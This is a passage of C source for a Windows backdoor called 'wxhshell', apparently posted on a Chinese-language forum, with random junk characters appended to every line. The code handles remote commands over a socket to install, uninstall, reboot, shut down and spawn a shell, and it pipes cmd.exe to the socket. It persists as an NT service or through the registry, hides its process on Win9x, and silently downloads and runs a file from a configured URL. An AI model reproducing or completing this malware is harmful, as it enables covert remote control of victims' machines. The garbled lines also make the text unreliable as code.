  // 帮助 |j2$G~B6  
  case '?': { 7DZZdH$Fm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YHp]O+c  
    break; XLgp.w;  
  } N,3 )`Vm  
  // 安装 (v,g=BS,  
  case 'i': { ;hgRMkmz4<  
    if(Install()) c]/X >8;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*@0l:  
    else S4Q fx6:~h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UfkQG`G9H  
    break; NiSybyR$  
    } _x`oab0@  
  // 卸载 8{- *Q(=/  
  case 'r': { \H4$9lPk  
    if(Uninstall()) V;LV),R?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b Y2:g )  
    else ,k9xI<i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>@ChQF  
    break; \Dx;AKs  
    } y$K[ArqX  
  // 显示 wxhshell 所在路径 oHPh2b0  
  case 'p': { Yn_v'Os2  
    char svExeFile[MAX_PATH]; D[ v2#2  
    strcpy(svExeFile,"\n\r"); J1u&Ga  
      strcat(svExeFile,ExeFile); 1YtbV3  
        send(wsh,svExeFile,strlen(svExeFile),0); f q&(&(|  
    break; 01 <Ti"  
    } a7>^^?|  
  // 重启 =c ;.cW  
  case 'b': { 8b[<:{[YB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); grxlGS~Q  
    if(Boot(REBOOT)) sTu]C +A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -NPX;e$<  
    else { ="('  #o  
    closesocket(wsh); GK`U<.[c  
    ExitThread(0); Z [YSE T  
    } MP|$+yuR~  
    break; s?Z{LWZ@  
    } p_B5fm7#6W  
  // 关机 XY,!vLjL  
  case 'd': { M^&^g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2 {xf{)hO?  
    if(Boot(SHUTDOWN)) sh/4ui{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !BjJ5m  
    else { v ;nnr0;  
    closesocket(wsh); U?xa^QVhj  
    ExitThread(0); =/ +f3  
    } 8dLK5"_3  
    break; `D?  &)Y  
    } yIu_DFq%  
  // 获取shell or`D-x)+@  
  case 's': { u\3=m%1  
    CmdShell(wsh); tx$`1KA  
    closesocket(wsh); ':7gYP*v  
    ExitThread(0); d$HPpi1LL  
    break; .k"unclT0  
  } ?/fC"MJq?  
  // 退出 ,R}9n@JI^Y  
  case 'x': { ncpNesB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wz{&0-md*'  
    CloseIt(wsh); S@ @#L  
    break; U E-1p  
    } N (0%C?  
  // 离开 Y?V.O  
  case 'q': { X- j@#Qb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z_4|L+i<{  
    closesocket(wsh); avY<~-44B  
    WSACleanup(); .wPI%5D  
    exit(1); bl-D{)X  
    break; GE*%I1?]  
        } v(]dIH  
  } y`Zn{mQ@[  
  } kA/yL]m^S  
:{ Lihe~\  
  // 提示信息 w7~cY=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W.l#@p  
} bR<XQHl  
  } bAEwjZ  
[JEf P/n|.  
  return; AEd9H +I  
} 9z+ZFIf7d  
:pLaxWus!  
// shell模块句柄 EGzlRSgO  
int CmdShell(SOCKET sock) ;+*/YTkC+P  
{ 9vBW CCf  
STARTUPINFO si; ,7)z avA  
ZeroMemory(&si,sizeof(si)); Ud_0{%@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xk7VuS *  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \;1nEjIA  
PROCESS_INFORMATION ProcessInfo; m U= 3w  
char cmdline[]="cmd"; 9h"3u;/,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \.]C`ocD  
  return 0; h\4enu9[RL  
} 8M,$|\U  
%?BygG  
// 自身启动模式 F{E`MK~f_  
int StartFromService(void) j9R+;u/!  
{ 24k;.o  
typedef struct Bo;{ QoB  
{ E-deXY  
  DWORD ExitStatus; ,+v>(h>q  
  DWORD PebBaseAddress; ^;[^L=}8$  
  DWORD AffinityMask; |Es,$  
  DWORD BasePriority; N j:W6? A  
  ULONG UniqueProcessId; = O|}R  
  ULONG InheritedFromUniqueProcessId; Yv3 P]6c.  
}   PROCESS_BASIC_INFORMATION; !$p E=~1C  
%zN~%mJG  
PROCNTQSIP NtQueryInformationProcess; ^fP5@T*f  
;P^}2i[q>[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -YS9u [   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :464~tHI[`  
1]"S?  
  HANDLE             hProcess; _e "  
  PROCESS_BASIC_INFORMATION pbi; '26 ,.1  
!1#=j;N`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sY* qf=  
  if(NULL == hInst ) return 0; h#Z~x  
cvC 7#i[G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x_- SAyH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ywj'O e41  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~<"{u-q#K  
7*r!-$  
  if (!NtQueryInformationProcess) return 0; 4$+/7I \  
R] l2,0:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QtLd(& !v  
  if(!hProcess) return 0; aZmac'cz{  
VDlP,Mm*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F1/BtGvQE  
QwLSL<.  
  CloseHandle(hProcess); |P-kyY34  
M %!O)r#Pn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9O\yIL  
if(hProcess==NULL) return 0; /d> Jkv  
dB8 e  
HMODULE hMod; @&GY5<&b  
char procName[255]; #e[igxwi  
unsigned long cbNeeded; Jm 1n|f  
HMw}pp:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T3t w.yh  
QG5 c>Q  
  CloseHandle(hProcess); ,7;euV5X  
Wf =hFc1_@  
if(strstr(procName,"services")) return 1; // 以服务启动 }^`5$HEi  
EJ(z]M`f  
  return 0; // 注册表启动 NW` Mc&  
} REPI >-|  
=<Ss&p>  
// 主模块 Y ^5RM  
int StartWxhshell(LPSTR lpCmdLine) 8 -9<r  
{ v V>=Uvm  
  SOCKET wsl; I=;=;-  
BOOL val=TRUE; ufN`=IJ%  
  int port=0; x5k6"S"1,  
  struct sockaddr_in door; `82^!7!  
"YN6o_*]  
  if(wscfg.ws_autoins) Install();  dK]#..  
o[g]Va*8  
port=atoi(lpCmdLine); ue -a/a  
G*g*+D[HM  
if(port<=0) port=wscfg.ws_port; WyUa3$[gO  
&<# ,J4  
  WSADATA data; Hi&bNM>?O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !3\( d{  
ySH io;g9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~I@ % ysR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vAtR\ Vh  
  door.sin_family = AF_INET; Er|j\(jM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >iI_bcqF  
  door.sin_port = htons(port);  kZ=yb-~  
K*5Ij]j&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y r8gKhv W  
closesocket(wsl); /U="~{*-R  
return 1; e'~<uN>  
} W,.Exh  
c#a>> V  
  if(listen(wsl,2) == INVALID_SOCKET) { y 27MG  
closesocket(wsl); +u3vKzD  
return 1; pz]KUQ  
} <q=]n%nX  
  Wxhshell(wsl); v>5TTL~?  
  WSACleanup(); d6A+pa'2  
|%j7Es  
return 0; F ZN}T{<  
JQSczE3  
} ]T%wRd5&-  
/brHB @$  
// 以NT服务方式启动 'Ecd\p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y7LM}dH#m  
{ LHs^Xo18  
DWORD   status = 0; _ !k\~4U  
  DWORD   specificError = 0xfffffff; v&xhS yZ  
zI_pP?4;.q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SA~oGgk=P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L/,M@1@R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nz Klue  
  serviceStatus.dwWin32ExitCode     = 0; Q.SqOHeJ  
  serviceStatus.dwServiceSpecificExitCode = 0; JiGS[tR  
  serviceStatus.dwCheckPoint       = 0; *s!T$oc  
  serviceStatus.dwWaitHint       = 0; Kp[5"N8  
BUXlHh%<R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -_f-j  
  if (hServiceStatusHandle==0) return; 2`V(w[zTr  
G.qjw]Llf  
status = GetLastError(); J:\O .F#Fi  
  if (status!=NO_ERROR) aK8X,1g%)  
{ I}\`l+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cLIeo{H  
    serviceStatus.dwCheckPoint       = 0; `91?^T;\F  
    serviceStatus.dwWaitHint       = 0; l(~NpT{=V  
    serviceStatus.dwWin32ExitCode     = status; z[0t%]7l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ($[@'?Z1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _:G>bU/^  
    return; Yz>8 Nn'_  
  } 7qg. :h  
Zrq\:KxX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dbfI!4  
  serviceStatus.dwCheckPoint       = 0; Cp#}x1{  
  serviceStatus.dwWaitHint       = 0; PBAQ KQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kj+TP qXb  
} oi%IHX(`  
xgWVxX^)  
// 处理NT服务事件,比如:启动、停止 D}?JX5.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wArzMt}[  
{ OJs s  
switch(fdwControl) n&FRjq9y  
{ -V:7j8  
case SERVICE_CONTROL_STOP: 2MDY nMy  
  serviceStatus.dwWin32ExitCode = 0; `%=!_|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =Ct$!uun  
  serviceStatus.dwCheckPoint   = 0; 2XV3f$,H  
  serviceStatus.dwWaitHint     = 0; $lF\FC  
  { /+f3jy:d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .;37 e  
  } nc:K!7:  
  return; #|6M*;lN|  
case SERVICE_CONTROL_PAUSE: t8Giv89{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3EyVoS6D  
  break; m"vWu0/#  
case SERVICE_CONTROL_CONTINUE: uD4$<rSHb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _%<q ZT  
  break; @&2# kO~=  
case SERVICE_CONTROL_INTERROGATE: (?z"_\^n/  
  break; yj mNeZ  
}; O2Tna<cR&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y{QF#&lW  
} }?Tz=hP  
A )xfO-  
// 标准应用程序主函数 Uy$?B"Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0lpUn74F  
{ {Lvta4}7(  
D__*?frWpW  
// 获取操作系统版本 {y|j**NZ  
OsIsNt=GetOsVer(); n)rSgzI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G\ /L.T  
trL8oZ6  
  // 从命令行安装 Pol c.  
  if(strpbrk(lpCmdLine,"iI")) Install(); "XKd#ncP  
kj!mgu#T  
  // 下载执行文件 nPjN\Es6  
if(wscfg.ws_downexe) { <nF1f(ky  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j6BFh=?D  
  WinExec(wscfg.ws_filenam,SW_HIDE); =T|m#*{.L  
} vtXZ`[D,l)  
YJB f~0r  
if(!OsIsNt) { mA6Nmq%{ F  
// 如果时win9x,隐藏进程并且设置为注册表启动 incUa;  
HideProc(); ASaNac-3  
StartWxhshell(lpCmdLine); tN&X1  
} ;h7O_|<%  
else E^t}p[s  
  if(StartFromService()) 2$?j'i!  
  // 以服务方式启动 V e4@^Jy;  
  StartServiceCtrlDispatcher(DispatchTable); +<n8O~h  
else pv,I_"  
  // 普通方式启动 Dqm;twd>  
  StartWxhshell(lpCmdLine); T :X A  
>FReGiK$T  
return 0; q%MLj./?[  
}
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只看该作者 1 发表于: 2006-10-10
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